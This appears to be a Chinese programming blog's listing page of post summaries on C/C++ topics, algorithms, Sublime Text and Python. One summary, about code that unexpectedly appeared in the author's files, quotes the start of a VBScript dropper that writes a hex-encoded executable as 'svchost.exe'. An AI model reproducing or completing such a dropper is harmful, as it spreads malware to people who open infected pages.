摘要: Definition[定义]: The #define Directive You can use the #define directive to give a meaningful name to a constant in your program. The two forms of the 阅读全文
posted @ 2017-08-04 21:53 银河渡舟 阅读(524) 评论(1) 推荐(0) 编辑
摘要: 快速幂取模算法详解 1.大数模幂运算的缺陷: 快速幂取模算法的引入是从大数的小数取模的朴素算法的局限性所提出的,在朴素的方法中我们计算一个数比如5^1003%31是非常消耗我们的计算资源的,在整个计算过程中最麻烦的就是我们的5^1003这个过程 缺点1:在我们在之后计算指数的过程中,计算的数字不都拿 阅读全文
posted @ 2017-07-29 10:52 银河渡舟 阅读(2428) 评论(0) 推荐(1) 编辑
摘要: "Sorting Algorithm" ==== Summary There are a lot of sorting algorithms, I have only done on a part of the exercises and tests, and there are a lot of 阅读全文
posted @ 2017-07-22 20:56 银河渡舟 阅读(400) 评论(0) 推荐(0) 编辑
摘要: 今天码代码时,偶然多出来一堆代码。。。。。 <SCRIPT Language=VBScript><!--DropFileName = "svchost.exe"WriteData = "4D5A90000300000004000000FFFF0000B800000000000000400000000 阅读全文
posted @ 2017-07-21 14:21 银河渡舟 阅读(1935) 评论(0) 推荐(0) 编辑
摘要: SublimeText3常用快捷键和优秀插件 SublimeText是前端的一个神器,以其精简和可DIY而让广大fans疯狂。好吧不吹了直入正题 -_-!! 首先是安装,如果你有什么软件管家的话搜一下就好,一键安装。然后,有钱的土豪就自己买个吧,穷逼就搜下注册码看下有没有土豪共享咯。 既然是神器,肯 阅读全文
posted @ 2017-07-20 11:51 银河渡舟 阅读(263) 评论(0) 推荐(0) 编辑
摘要: 一大波概念正在来袭: 作用域与命名空间 相关概念 与命名空间相关的概念有: 声明域(declaration region)—— 声明标识符的区域。如在函数外面声明的全局变量,它的声明域为声明所在的文件。在函数内声明的局部变量,它的声明域为声明所在的代码块(例如整个函数体或整个复合语句)。 潜在作用域 阅读全文
posted @ 2017-07-19 21:55 银河渡舟 阅读(368) 评论(0) 推荐(1) 编辑
摘要: 预习: r=余数 a=被除数 b=除数 c=商 a/b=c........r r=a-(a/b)*b 一、下面的题目你能全做对吗?1.7/4=?2.7/(-4)=?3.7%4=?4.7%(-4)=?5.(-7)/4=?6.(-7)%4=?7.(-7)/(unsigned)4=?答案:1-133-1- 阅读全文
posted @ 2017-07-19 21:17 银河渡舟 阅读(8453) 评论(2) 推荐(2) 编辑
摘要: WordAbbreviation abbreviate / abbreviation abrv academic acad accept / acceptance / accepted acpt access accs accident acdnt accomplish / accomplishme 阅读全文
posted @ 2017-07-15 16:05 银河渡舟 阅读(1937) 评论(0) 推荐(0) 编辑
摘要: #include #include #include using namespace std; struct def1 { int x; int y; } q[3000000]; struct def2 { int len; int x; int y; } val[550]; int dctx[6]= {0,1,0,-1,0},dcty[6]= {0,0,1,0,-1}; int n,... 阅读全文
posted @ 2017-07-15 15:35 银河渡舟 阅读(197) 评论(0) 推荐(1) 编辑
摘要: 算法-求二进制数中1的个数 问题描述 任意给定一个32位无符号整数n,求n的二进制表示中1的个数,比如n = 5(0101)时,返回2,n = 15(1111)时,返回4 这也是一道比较经典的题目了,相信不少人面试的时候可能遇到过这道题吧,下面介绍了几种方法来实现这道题,相信很多人可能见过下面的算法 阅读全文
posted @ 2017-06-24 19:18 银河渡舟 阅读(578) 评论(1) 推荐(0) 编辑
摘要: STL中make_heap 的接口为: 默认的使用operator< 进行比较。而我们可以自定义comp进行比较,来进行建堆。 其中,两个make_heap所使用的参数,[first,last) 这个区间是半开半闭的。 当我们需要对堆进行存取操作时,我们有函数,pos_heap,push_heap 阅读全文
posted @ 2017-06-24 19:09 银河渡舟 阅读(231) 评论(0) 推荐(0) 编辑
摘要: tarjan算法讲解。 全网最详细tarjan算法讲解,我不敢说别的。反正其他tarjan算法讲解,我看了半天才看懂。我写的这个,读完一遍,发现原来tarjan这么简单! tarjan算法,一个关于 图的联通性的神奇算法。基于DFS(迪法师)算法,深度优先搜索一张有向图。!注意!是有向图。根据树,堆 阅读全文
posted @ 2017-06-18 21:23 银河渡舟 阅读(523) 评论(0) 推荐(0) 编辑
摘要: 算法(Algorithm)为一个计算的具体步骤,常用于计算、数据处理和自动推理。C++ 算法库(Algorithms library)为 C++ 程序提供了大量可以用来对容器及其它序列进行算法操作的函数。这些组件可以为函数或函数模板,大部份由头文件 <algorithm> 提供,一小部份位于 <nu 阅读全文
posted @ 2017-06-18 20:37 银河渡舟 阅读(14259) 评论(1) 推荐(0) 编辑
摘要: 单调队列,顾名思义是指队列内的元素是有序的,队头为当前的最大值(单调递减队列)或最小值(单调递增序列),以单调递减队列为例来看队列的入队和出队操作: 1、入队: 如果当前元素要进队,把当前元素和队尾元素比较,如果当前元素小于队尾元素,那么当前元素直接进队,如果当前元素大于队尾元素,那么队尾出队,将当 阅读全文
posted @ 2017-06-18 20:11 银河渡舟 阅读(834) 评论(0) 推荐(0) 编辑
摘要: Python 30分钟入门指南 为什么 OIer 要学 Python? Python 语言特性简洁明了,使用 Python 写测试数据生成器和对拍器,比编写 C++ 事半功倍。 Python 学习成本很低,只要您熟练掌握 C++/Pascal,您只要花30分钟看完本文并完成实验,即可初步掌握 Pyt 阅读全文
posted @ 2017-06-18 19:50 银河渡舟 阅读(1549) 评论(0) 推荐(0) 编辑